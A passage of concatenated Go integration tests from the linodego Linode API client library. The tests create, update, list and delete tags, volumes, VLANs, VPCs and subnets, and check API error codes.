append(*updateOpts.Tags, "go-tag-test-bar") updateOpts.Tags = &newTags updateOpts.Backups = nil instance, err = client.UpdateInstance(context.Background(), instance.ID, updateOpts) if err != nil { t.Errorf("should have updated instance tags, got %q", err) } tag, err := client.CreateTag(context.Background(), TagCreateOptions{Label: "go-tag-test-foo", Linodes: []int{instance.ID}}) if err != nil { t.Errorf("should have created a tag, got %q", err) } tags, err := client.ListTags(context.Background(), nil) if err != nil { t.Errorf("should have listed tags, got %q", err) } found := false for _, t := range tags { if t.Label == tag.Label { found = true break } } if !found { t.Errorf("should have found created tag, %q", tag.Label) } x, err := client.ListTaggedObjects(context.Background(), "go-tag-test", nil) if err != nil { t.Errorf("should have listed tagged objects, got %q", err) } if len(x) == 0 || x[0].Type != "linode" || x[0].Data.(Instance).ID != instance.ID { t.Errorf("should have found instance in tagged objects list, got %v", x) } so, err := x.SortedObjects() if err != nil { t.Errorf("should have sorted tagged objects list, got %q", err) } if len(so.Instances) == 0 || so.Instances[0].ID != instance.ID { t.Errorf("should have found instance in sorted tagged objects list, got %v", so) } for _, tag := range []string{"go-tag-test", "go-tag-test-foo", "go-tag-test-bar"} { if err := client.DeleteTag(context.Background(), tag); err != nil { t.Error(err) } } } func TestTag_ListTaggedObjects_Missing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTag_ListTaggedObjects_Missing") defer teardown() i, err := client.ListTaggedObjects(context.Background(), "does-not-exist", nil) if err == nil { t.Errorf("should have received an error requesting a missing tag, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing tag, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing tag, got %v", e.Code) } } func setupTaggedInstance(t *testing.T, fixturesYaml string) (*Client, *Instance, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := InstanceCreateOptions{ Label: "go-ins-test-tag", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], Type: "g6-nanode-1", Tags: []string{"go-tag-test"}, } instance, err := client.CreateInstance(context.Background(), createOpts) if err != nil { t.Errorf("Error creating test Instance: %s", err) } teardown := func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { t.Errorf("Error deleting test Instance: %s", err) } fixtureTeardown() } return client, instance, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/test_retry.go000066400000000000000000000042351474652371000254520ustar00rootroot00000000000000package integration import ( "fmt" "runtime" "testing" ) func retryStatement(t *testing.T, maxAttempts int, f func(t *TRetry)) { for i := 0; i < maxAttempts; i++ { newT := NewTRetry(t) t.Cleanup(newT.Close) go func() { f(newT) newT.SuccessChannel <- true }() select { case err := <-newT.ErrorChannel: t.Logf("Retrying on test failure: %s\n", err) case <-newT.SuccessChannel: return } } t.Fatalf("Test failed after %d attempts", maxAttempts) } // TRetry implements testing.T with additional retry logic type TRetry struct { t *testing.T ErrorChannel chan error SuccessChannel chan bool } func NewTRetry(t *testing.T) *TRetry { t.Helper() return &TRetry{ t: t, ErrorChannel: make(chan error), SuccessChannel: make(chan bool), } } func (t *TRetry) Close() { close(t.ErrorChannel) close(t.SuccessChannel) } func (t *TRetry) Cleanup(f func()) { t.t.Cleanup(f) } func (t *TRetry) Error(args ...any) { t.ErrorChannel <- fmt.Errorf(fmt.Sprint(args...)) } func (t *TRetry) Errorf(format string, args ...any) { t.ErrorChannel <- fmt.Errorf(format, args...) } func (t *TRetry) Fail() { runtime.Goexit() } func (t *TRetry) Failed() bool { // We wrap this logic using channels return false } func (t *TRetry) Fatal(args ...any) { t.ErrorChannel <- fmt.Errorf(fmt.Sprint(fmt.Sprint(args...))) t.Fail() } func (t *TRetry) Fatalf(format string, args ...any) { t.ErrorChannel <- fmt.Errorf(format, args...) t.Fail() } func (t *TRetry) Helper() { t.t.Helper() } func (t *TRetry) Log(args ...any) { t.t.Log(args...) } func (t *TRetry) Logf(format string, args ...any) { t.t.Logf(format, args...) } func (t *TRetry) Name() string { return t.t.Name() } func (t *TRetry) Setenv(key, value string) { t.t.Setenv(key, value) } func (t *TRetry) Skip(args ...any) { t.t.Skip(args...) } func (t *TRetry) SkipNow() { t.t.SkipNow() } func (t *TRetry) Skipf(format string, args ...any) { t.t.Skipf(format, args...) } func (t *TRetry) Skipped() bool { return t.t.Skipped() } func (t *TRetry) TempDir() string { return t.t.TempDir() } func (t *TRetry) FailNow() { t.Fail() } func (t *TRetry) Parallel() { t.t.Parallel() } golang-github-linode-linodego-1.47.0/test/integration/types_test.go000066400000000000000000000046771474652371000254630ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestType_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestType_GetMissing") defer teardown() i, err := client.GetType(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing image, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing image, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing image, got %v", e.Code) } } func TestType_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestType_GetFound") defer teardown() i, err := client.GetType(context.Background(), "g6-standard-1") if err != nil { t.Errorf("Error getting image, expected struct, got %v and error %v", i, err) } if i.ID != "g6-standard-1" { t.Errorf("Expected a specific image, but got a different one %v", i) } } func TestTypes_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTypes_List") defer teardown() i, err := client.ListTypes(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of images, but got none %v", i) } } func TestTypes_RegionSpecific(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestTypes_RegionSpecific") defer teardown() validateOverride := func(override linodego.LinodeRegionPrice) { if override.ID == "" { t.Fatal("Expected region; got nil") } if override.Monthly <= 0 { t.Fatalf("Expected monthly cost; got %f", override.Monthly) } if override.Hourly <= 0 { t.Fatalf("Expected hourly cost; got %f", override.Hourly) } } types, err := client.ListTypes(context.Background(), nil) if err != nil { t.Errorf("Error listing images, expected struct, got error %v", err) } var targetType *linodego.LinodeType for _, t := range types { if t.RegionPrices != nil && len(t.RegionPrices) > 0 && t.RegionPrices[0].Hourly > 0 { targetType = &t break } } if targetType == nil { t.Fatal("expected type with region override, got none") } // Validate overrides for _, override := range targetType.RegionPrices { validateOverride(override) } for _, override := range targetType.Addons.Backups.RegionPrices { validateOverride(override) } } golang-github-linode-linodego-1.47.0/test/integration/util_test.go000066400000000000000000000012311474652371000252530ustar00rootroot00000000000000package integration import ( "strconv" "testing" "time" ) func assertDateSet(t *testing.T, compared *time.Time) { emptyTime := time.Time{} if compared == nil || *compared == emptyTime { t.Errorf("Expected date to be set, got %v", compared) } } func assertSliceContains[T comparable](t *testing.T, slice []T, target T) { for _, v := range slice { if v == target { return } } t.Fatalf("value %v not found in slice", target) } func minInt(a, b int) int { if a < b { return a } return b } // return the current nanosecond in string type as a unique text. func getUniqueText() string { return strconv.FormatInt(time.Now().UnixNano(), 10) } golang-github-linode-linodego-1.47.0/test/integration/vlans_test.go000066400000000000000000000057061474652371000254340ustar00rootroot00000000000000package integration import ( "context" "fmt" "regexp" "testing" "github.com/linode/linodego" ) func TestVLANs_List_smoke(t *testing.T) { vlanName := "go-vlan-test-list" instancePrefix := "go-ins-test-list" client, fixturesTeardown := createTestClient(t, "fixtures/TestVLANs_List") defer fixturesTeardown() var instances []*linodego.Instance for i := 0; i < 2; i++ { instance, instanceTeardown, err := createVLANInstance(t, client, fmt.Sprintf("%s-%d", instancePrefix, i), vlanName) if err != nil { t.Fatal(err) } defer instanceTeardown() instances = append(instances, instance) } for _, instance := range instances { if _, err := client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceRunning, 240); err != nil { t.Error(err) } } vlans, err := client.ListVLANs(context.TODO(), &linodego.ListOptions{ Filter: fmt.Sprintf("{\"label\": \"%s\"}", vlanName), }) if err != nil { t.Error(err) } if len(vlans) < 1 { t.Error("expected list of vlans but got none") } for _, instance := range instances { if !vlanHasLinodeID(&vlans[0], instance.ID) { t.Errorf("instance %d not found in vlan", instance.ID) } } } func TestVLANs_GetIPAMAddress(t *testing.T) { vlanName := "go-vlan-test-ipam" instancePrefix := "go-ins-test-ipam" client, fixturesTeardown := createTestClient(t, "fixtures/TestVLANs_GetIPAMAddress") defer fixturesTeardown() instance, instanceTeardown, err := createVLANInstance(t, client, instancePrefix, vlanName) if err != nil { t.Fatal(err) } defer instanceTeardown() _, err = client.WaitForInstanceStatus(context.Background(), instance.ID, linodego.InstanceRunning, 240) if err != nil { t.Error(err) } ipam, err := client.GetVLANIPAMAddress(context.Background(), instance.ID, vlanName) if err != nil { t.Error(err) } r, _ := regexp.Compile(`^(?:[0-9]{1,3}\.){3}[0-9]{1,3}/[0-9]{2}`) if !r.MatchString(ipam) { t.Errorf("Result does not match regular expression: %s", ipam) } } func createVLANInstance(t *testing.T, client *linodego.Client, instanceName, vlanName string) (*linodego.Instance, func(), error) { t.Helper() trueBool := true instance, err := createInstance(t, client, true, func(client *linodego.Client, opts *linodego.InstanceCreateOptions) { opts.Interfaces = []linodego.InstanceConfigInterfaceCreateOptions{ { Label: vlanName, Purpose: linodego.InterfacePurposeVLAN, IPAMAddress: "10.0.0.1/24", }, } opts.Booted = &trueBool opts.Label = instanceName opts.Region = getRegionsWithCaps(t, client, []string{"Vlans"})[0] }) if err != nil { return nil, nil, err } teardown := func() { if terr := client.DeleteInstance(context.Background(), instance.ID); terr != nil { t.Errorf("Error deleting test Instance: %s", terr) } } return instance, teardown, err } func vlanHasLinodeID(vlan *linodego.VLAN, linodeID int) bool { for _, id := range vlan.Linodes { if id == linodeID { return true } } return false } golang-github-linode-linodego-1.47.0/test/integration/volume_types_test.go000066400000000000000000000017211474652371000270350ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestVolumeType_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVolumeType_List") defer teardown() volumeTypes, err := client.ListVolumeTypes(context.Background(), nil) require.NoError(t, err) require.Greater(t, len(volumeTypes), 0) for _, volumeType := range volumeTypes { validateVolumeType(t, volumeType) } } func validateVolumeType( t *testing.T, volumeType linodego.VolumeType, ) { require.NotEmpty(t, volumeType.ID) require.NotEmpty(t, volumeType.Label) require.Greater(t, volumeType.Price.Hourly, 0.0) require.Greater(t, volumeType.Price.Monthly, 0.0) require.GreaterOrEqual(t, volumeType.Transfer, 0) for _, regionPrice := range volumeType.RegionPrices { require.NotEmpty(t, regionPrice.ID) require.Greater(t, regionPrice.Hourly, 0.0) require.Greater(t, regionPrice.Monthly, 0.0) } } golang-github-linode-linodego-1.47.0/test/integration/volumes_test.go000066400000000000000000000224541474652371000260020ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/linode/linodego" ) type volumeModifier func(*linodego.Client, *linodego.VolumeCreateOptions) func TestVolume_Create_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVolume_Create") defer teardown() createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-create", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if err := client.DeleteVolume(context.Background(), volume.ID); err != nil { t.Errorf("Expected to delete a volume, but got %v", err) } } func TestVolume_Create_withEncryption(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVolume_Create_withEncryption") defer teardown() createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-create-encryption", Region: getRegionsWithCaps(t, client, []string{"Linodes", "Block Storage Encryption"})[0], Encryption: "enabled", } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if err := client.DeleteVolume(context.Background(), volume.ID); err != nil { t.Errorf("Expected to delete a volume, but got %v", err) } } func TestVolume_Resize(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_Resize") defer teardown() if err != nil { t.Errorf("Error setting up volume test, %s", err) } _, err = client.WaitForVolumeStatus(context.Background(), volume.ID, linodego.VolumeActive, 500) if err != nil { t.Errorf("Error waiting for volume to be active, %s", err) } if err := client.ResizeVolume(context.Background(), volume.ID, volume.Size+1); err != nil { t.Errorf("Error resizing volume, %s", err) } } func TestVolumes_List_smoke(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_List") defer teardown() volumes, err := client.ListVolumes(context.Background(), nil) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } found := false for _, v := range volumes { if v.ID == volume.ID { found = true } } if !found { t.Errorf("%d volume not found in list", volume.ID) } } func TestVolume_Get(t *testing.T) { client, volume, teardownVolume, errVolume := setupVolume(t, "fixtures/TestVolume_Get") defer teardownVolume() if errVolume != nil { t.Error(errVolume) } _, err := client.GetVolume(context.Background(), volume.ID) if err != nil { t.Errorf("Error getting volume %d, expected *LinodeVolume, got error %v", volume.ID, err) } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) } func TestVolume_Get_withEncryption(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestVolume_Get_withEncryption") defer teardown() createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-get-encryption", Region: getRegionsWithCaps(t, client, []string{"Linodes", "Block Storage Encryption"})[0], Encryption: "enabled", } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } returnedVolume, err := client.GetVolume(context.Background(), volume.ID) if err != nil { t.Errorf("Error getting volume %d, expected *LinodeVolume, got error %v", volume.ID, err) } if returnedVolume.Encryption != "enabled" { t.Errorf("Expected volume encryption to be enabled, but got %v", returnedVolume.Encryption) } volumes, err := client.ListVolumes(context.Background(), nil) if err != nil { t.Errorf("Error listing volumes, expected struct, got error %v", err) } found := false for _, v := range volumes { if v.ID == volume.ID { found = true if v.Encryption != "enabled" { t.Errorf("Expected volume encryption to be enabled, but got %v", v.Encryption) } } } if !found { t.Errorf("%d volume not found in list", volume.ID) } // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if err := client.DeleteVolume(context.Background(), volume.ID); err != nil { t.Errorf("Expected to delete a volume, but got %v", err) } } func TestVolume_WaitForLinodeID_nil(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_WaitForLinodeID_nil") defer teardown() if err != nil { t.Errorf("Error setting up volume test, %s", err) } _, err = client.WaitForVolumeLinodeID(context.Background(), volume.ID, nil, 20) if err != nil { t.Errorf("Error getting volume %d, expected *LinodeVolume, got error %v", volume.ID, err) } } func TestVolume_WaitForLinodeID(t *testing.T) { client, instance, teardownInstance, errInstance := setupInstance(t, "fixtures/TestVolume_WaitForLinodeID_linode", true) if errInstance != nil { t.Errorf("Error setting up instance for volume test, %s", errInstance) } defer teardownInstance() createConfigOpts := linodego.InstanceConfigCreateOptions{ Label: "go-config-test-wait", Devices: linodego.InstanceConfigDeviceMap{}, } config, errConfig := client.CreateInstanceConfig(context.Background(), instance.ID, createConfigOpts) if errConfig != nil { t.Errorf("Error setting up instance config for volume test, %s", errConfig) } client, volume, teardownVolume, errVolume := setupVolume(t, "fixtures/TestVolume_WaitForLinodeID_volume") if errVolume != nil { t.Errorf("Error setting up volume test, %s", errVolume) } defer teardownVolume() attachOptions := linodego.VolumeAttachOptions{LinodeID: instance.ID, ConfigID: config.ID} if volumeAttached, err := client.AttachVolume(context.Background(), volume.ID, &attachOptions); err != nil { t.Errorf("Error attaching volume, %s", err) } else if volumeAttached.LinodeID == nil { t.Errorf("Could not attach test volume to test instance") } _, errWait := client.WaitForVolumeLinodeID(context.Background(), volume.ID, nil, 20) if errWait == nil { t.Errorf("Expected to timeout waiting for nil LinodeID on volume %d : %s", volume.ID, errWait) } client, teardownWait := createTestClient(t, "fixtures/TestVolume_WaitForLinodeID_waiting") defer teardownWait() v, errWait := client.WaitForVolumeLinodeID(context.Background(), volume.ID, &instance.ID, 20) if errWait != nil { t.Errorf("Error waiting for volume %d to attach to instance %d: %s", volume.ID, instance.ID, errWait) } if v.LinodeLabel != instance.Label { t.Error("Error linode label mismatched") } } func TestVolume_Update(t *testing.T) { client, volume, teardown, err := setupVolume(t, "fixtures/TestVolume_Update") if err != nil { t.Errorf("Error setting up volume test, %s", err) } defer teardown() updatedLabel := volume.Label + "-updated" updateOpts := linodego.VolumeUpdateOptions{ Label: updatedLabel, } volume, err = client.UpdateVolume(context.Background(), volume.ID, updateOpts) if err != nil { t.Errorf("Error updating volume, expected struct, got error %v", err) } if volume.ID == 0 { t.Errorf("Expected a volumes id, but got 0") } if volume.Label != updatedLabel { t.Errorf("Expected volume label to be equal to updated volume label") } assertDateSet(t, volume.Created) assertDateSet(t, volume.Updated) } func setupVolume(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.Volume, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test-def", Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], } volume, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Errorf("Error creating volume, got error %v", err) } teardown := func() { // volumes deleted too fast tend to stick, adding a few seconds to catch up time.Sleep(time.Second * 5) if terr := client.DeleteVolume(context.Background(), volume.ID); terr != nil { t.Errorf("Expected to delete a volume, but got %v", terr) } fixtureTeardown() } return client, volume, teardown, err } func createVolume( t *testing.T, client *linodego.Client, vModifier ...volumeModifier, ) (*linodego.Volume, func(), error) { t.Helper() createOpts := linodego.VolumeCreateOptions{ Label: "go-vol-test" + randLabel(), Region: getRegionsWithCaps(t, client, []string{"Linodes"})[0], } for _, mod := range vModifier { mod(client, &createOpts) } v, err := client.CreateVolume(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create volume: %s", err) } teardown := func() { if err := client.DeleteVolume(context.Background(), v.ID); err != nil { t.Errorf("failed to delete volume: %s", err) } } return v, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/vpc_subnet_test.go000066400000000000000000000203431474652371000264530ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) const ( TestSubnet = "192.168.0.0/25" ) func formatVPCSubnetError(err error, action string, vpcID, vpcSubnetID *int) error { if err == nil { return nil } vpcMsg := "" if vpcID != nil { vpcMsg = fmt.Sprintf(" in VPC %v", *vpcID) } if vpcSubnetID == nil { return fmt.Errorf( "an error occurs when %v the subnet(s)%v: %v", action, vpcMsg, err, ) } return fmt.Errorf( "an error occurs when %v the subnet %v%v: %v", action, *vpcSubnetID, vpcMsg, err, ) } func vpcSubnetCheck(vpcSubnet *linodego.VPCSubnet, t *testing.T) { if vpcSubnet.ID == 0 { t.Error("expected a VPC subnet ID, but got 0") } assertDateSet(t, vpcSubnet.Created) assertDateSet(t, vpcSubnet.Updated) } func vpcSubnetCreateOptionsCheck( opts *linodego.VPCSubnetCreateOptions, vpcSubnet *linodego.VPCSubnet, t *testing.T, ) { if !(opts.IPv4 == vpcSubnet.IPv4 && opts.Label == vpcSubnet.Label) { t.Error( "the VPC subnet instance and the VPC subnet " + "create options instance are mismatched", ) } } func vpcSubnetUpdateOptionsCheck( opts *linodego.VPCSubnetUpdateOptions, vpcSubnet *linodego.VPCSubnet, t *testing.T, ) { if !(opts.Label == vpcSubnet.Label) { t.Error( "the VPC subnet instance and the VPC subnet " + "update options instance are mismatched", ) } } func createVPCWithSubnet(t *testing.T, client *linodego.Client, vpcModifier ...vpcModifier) ( *linodego.VPC, *linodego.VPCSubnet, func(), error, ) { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "go-test-vpc-" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"Linodes", "VPCs"})[0], Subnets: []VPCSubnetCreateOptions{ { Label: "linodego-vpc-test-" + getUniqueText(), IPv4: TestSubnet, }, }, } for _, mod := range vpcModifier { mod(client, &createOpts) } vpc, err := client.CreateVPC(context.Background(), createOpts) if err != nil { t.Fatal(formatVPCError(err, "creating", nil)) } teardown := func() { if err := client.DeleteVPC(context.Background(), vpc.ID); err != nil { t.Error(formatVPCError(err, "deleting", &vpc.ID)) } } return vpc, &vpc.Subnets[0], teardown, err } func createSubnetInVPC( t *testing.T, client *linodego.Client, vpc linodego.VPC, vpcModifier ...vpcModifier, ) ( *linodego.VPCSubnet, func(), error, ) { t.Helper() createOpts := linodego.VPCSubnetCreateOptions{ Label: "linodego-vpc-test-" + getUniqueText(), IPv4: TestSubnet, } vpcSubnet, err := client.CreateVPCSubnet(context.Background(), createOpts, vpc.ID) if err != nil { t.Fatal(formatVPCSubnetError(err, "creating", &vpc.ID, nil)) } teardown := func() { err = client.DeleteVPCSubnet(context.Background(), vpc.ID, vpcSubnet.ID) if err != nil { t.Error(formatVPCSubnetError(err, "deleting", &vpc.ID, &vpcSubnet.ID)) } } return vpcSubnet, teardown, err } func setupVPCWithSubnet( t *testing.T, fixturesYaml string, ) ( *linodego.Client, *linodego.VPC, *linodego.VPCSubnet, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) vpc, vpcSubnet, vpcSubnetTeardown, err := createVPCWithSubnet(t, client) if err != nil { if vpcSubnetTeardown != nil { vpcSubnetTeardown() } fixtureTeardown() t.Fatal(err) } teardown := func() { vpcSubnetTeardown() fixtureTeardown() } return client, vpc, vpcSubnet, teardown, err } func TestVPC_Subnet_Create(t *testing.T) { _, _, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Create") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetCreateOptions() vpcSubnetCreateOptionsCheck(&opts, vpcSubnet, t) } func TestVPC_Subnet_Update(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Update") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetUpdateOptions() vpcSubnetUpdateOptionsCheck(&opts, vpcSubnet, t) updatedVPCSubnet, err := client.UpdateVPCSubnet( context.Background(), vpc.ID, vpcSubnet.ID, opts, ) if err != nil { t.Error(formatVPCSubnetError(err, "updating", &vpc.ID, &vpcSubnet.ID)) } vpcSubnetUpdateOptionsCheck(&opts, updatedVPCSubnet, t) } func TestVPC_Subnet_List(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_List") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetCreateOptions() vpcSubnetCreateOptionsCheck(&opts, vpcSubnet, t) vpcSubnets, err := client.ListVPCSubnets(context.Background(), vpc.ID, nil) found := false for _, v := range vpcSubnets { if v.ID == vpcSubnet.ID { found = true } } if !found { t.Errorf("the VPC %v subnet %v not found in list", vpc.ID, vpcSubnet.ID) } } func TestVPC_Subnet_Create_Invalid_data(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_Subnet_Create_Invalid_data") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } createOpts := linodego.VPCSubnetCreateOptions{ Label: "linodego-vpc-test_invalid_label" + getUniqueText(), IPv4: TestSubnet, } _, err = client.CreateVPCSubnet(context.Background(), createOpts, vpc.ID) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Subnet_Update_Invalid_data(t *testing.T) { client, vpc, vpcSubnet, teardown, err := setupVPCWithSubnet(t, "fixtures/TestVPC_Subnet_Update_Invalid_Label") defer teardown() if err != nil { t.Error(formatVPCSubnetError(err, "setting up", nil, nil)) } vpcSubnetCheck(vpcSubnet, t) opts := vpcSubnet.GetUpdateOptions() vpcSubnetUpdateOptionsCheck(&opts, vpcSubnet, t) opts.Label = "invalid_label" _, err = client.UpdateVPCSubnet( context.Background(), vpc.ID, vpcSubnet.ID, opts, ) e, _ := err.(*Error) if e.Code != 400 { t.Errorf("should have received a 400 Code with invalid label, got %v", e.Code) } expectedErrorMessage := "Label must include only ASCII letters, numbers, and dashes" if !strings.Contains(e.Message, expectedErrorMessage) { t.Errorf("Wrong error message displayed should have contained, %s", expectedErrorMessage) } } func TestVPC_Subnet_WithInstance(t *testing.T) { client, vpc, vpcSubnet, inst, config, teardown := setupInstanceWith3Interfaces(t, "fixtures/TestVPC_Subnet_WithInstance") defer teardown() // Refresh the subnet to show the assigned instance/interface refreshedSubnet, err := client.GetVPCSubnet(context.Background(), vpc.ID, vpcSubnet.ID) if err != nil { t.Fatal(err) } if len(refreshedSubnet.Linodes) != 1 { t.Fatalf("expected 1 assigned linode, got %d", len(refreshedSubnet.Linodes)) } targetLinode := refreshedSubnet.Linodes[0] if targetLinode.ID != inst.ID { t.Fatalf("expected assigned instance to have id %d, got %d", inst.ID, targetLinode.ID) } if len(targetLinode.Interfaces) != 1 { t.Fatalf("expected 1 assigned interface, got %d", len(targetLinode.Interfaces)) } targetInterface := targetLinode.Interfaces[0] if targetInterface.ID != config.Interfaces[2].ID { t.Fatalf("interface ID mismatch, expected %d for %d", config.Interfaces[2].ID, targetInterface.ID) } // Ensure the NAT 1:1 information is reflected in the IP configuration of this instance networking, err := client.GetInstanceIPAddresses(context.Background(), inst.ID) if err != nil { t.Fatal(err) } nat1To1 := networking.IPv4.Public[0].VPCNAT1To1 if nat1To1 == nil { t.Fatalf("expected VPCNAT1To1 to contain data, got nil") } if nat1To1.SubnetID != refreshedSubnet.ID { t.Fatal("IP/subnet id mismatch") } if nat1To1.VPCID != vpc.ID { t.Fatal("IP/VPC id mismatch") } if nat1To1.Address != config.Interfaces[2].IPv4.VPC { t.Fatalf("nat_1_1 subnet IP mismatch") } } golang-github-linode-linodego-1.47.0/test/integration/vpc_test.go000066400000000000000000000156171474652371000251030ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) type vpcModifier func(*linodego.Client, *linodego.VPCCreateOptions) func formatVPCError(err error, action string, vpcID *int) error { if err == nil { return nil } if vpcID == nil { return fmt.Errorf( "an error occurs when %v the VPC(s): %v", action, err, ) } return fmt.Errorf( "an error occurs when %v the VPC %v: %v", action, *vpcID, err, ) } func createVPC(t *testing.T, client *linodego.Client, vpcModifier ...vpcModifier) (*linodego.VPC, func(), error) { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "go-test-vpc-" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"VPCs"})[0], } for _, mod := range vpcModifier { mod(client, &createOpts) } vpc, err := client.CreateVPC(context.Background(), createOpts) if err != nil { t.Fatal(formatVPCError(err, "creating", nil)) } teardown := func() { if err := client.DeleteVPC(context.Background(), vpc.ID); err != nil { t.Error(formatVPCError(err, "deleting", &vpc.ID)) } } return vpc, teardown, err } func createVPC_invalid_label(t *testing.T, client *linodego.Client) error { t.Helper() createOpts := linodego.VPCCreateOptions{ Label: "gotest_vpc_invalid_label" + getUniqueText(), Region: getRegionsWithCaps(t, client, []string{"VPCs"})[0], } _, err := client.CreateVPC(context.Background(), createOpts) return err } func setupVPC(t *testing.T, fixturesYaml string) ( *linodego.Client, *linodego.VPC, func(), error, ) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) vpc, vpcTeardown, err := createVPC(t, client) teardown := func() { vpcTeardown() fixtureTeardown() } return client, vpc, teardown, err } func vpcCheck(vpc *linodego.VPC, t *testing.T) { if vpc.ID == 0 { t.Errorf("expected a VPC ID, but got 0") } assertDateSet(t, vpc.Created) assertDateSet(t, vpc.Updated) } func vpcCreateOptionsCheck( opts *linodego.VPCCreateOptions, vpc *linodego.VPC, t *testing.T, ) { good := (opts.Description == vpc.Description && opts.Label == vpc.Label && opts.Region == vpc.Region && len(opts.Subnets) == len(vpc.Subnets)) for i := 0; i < minInt(len(opts.Subnets), len(vpc.Subnets)); i++ { good = good && (opts.Subnets[i].IPv4 == vpc.Subnets[i].IPv4 && opts.Subnets[i].Label == vpc.Subnets[i].Label) } if !good { t.Error( "the VPC instance and the VPC creation options instance are mismatched", ) } } func vpcUpdateOptionsCheck( opts *linodego.VPCUpdateOptions, vpc *linodego.VPC, t *testing.T, ) { if !(opts.Description == vpc.Description && opts.Label == vpc.Label) { t.Error("the VPC instance and VPC Update Options instance are mismatched") } } func TestVPC_CreateGet_smoke(t *testing.T) { client, vpc, teardown, err := setupVPC(t, "fixtures/TestVPC_CreateGet") defer teardown() if err != nil { t.Error(formatVPCError(err, "setting up", nil)) } vpcCheck(vpc, t) opts := vpc.GetCreateOptions() vpcCreateOptionsCheck(&opts, vpc, t) client.GetVPC(context.TODO(), vpc.ID) } func 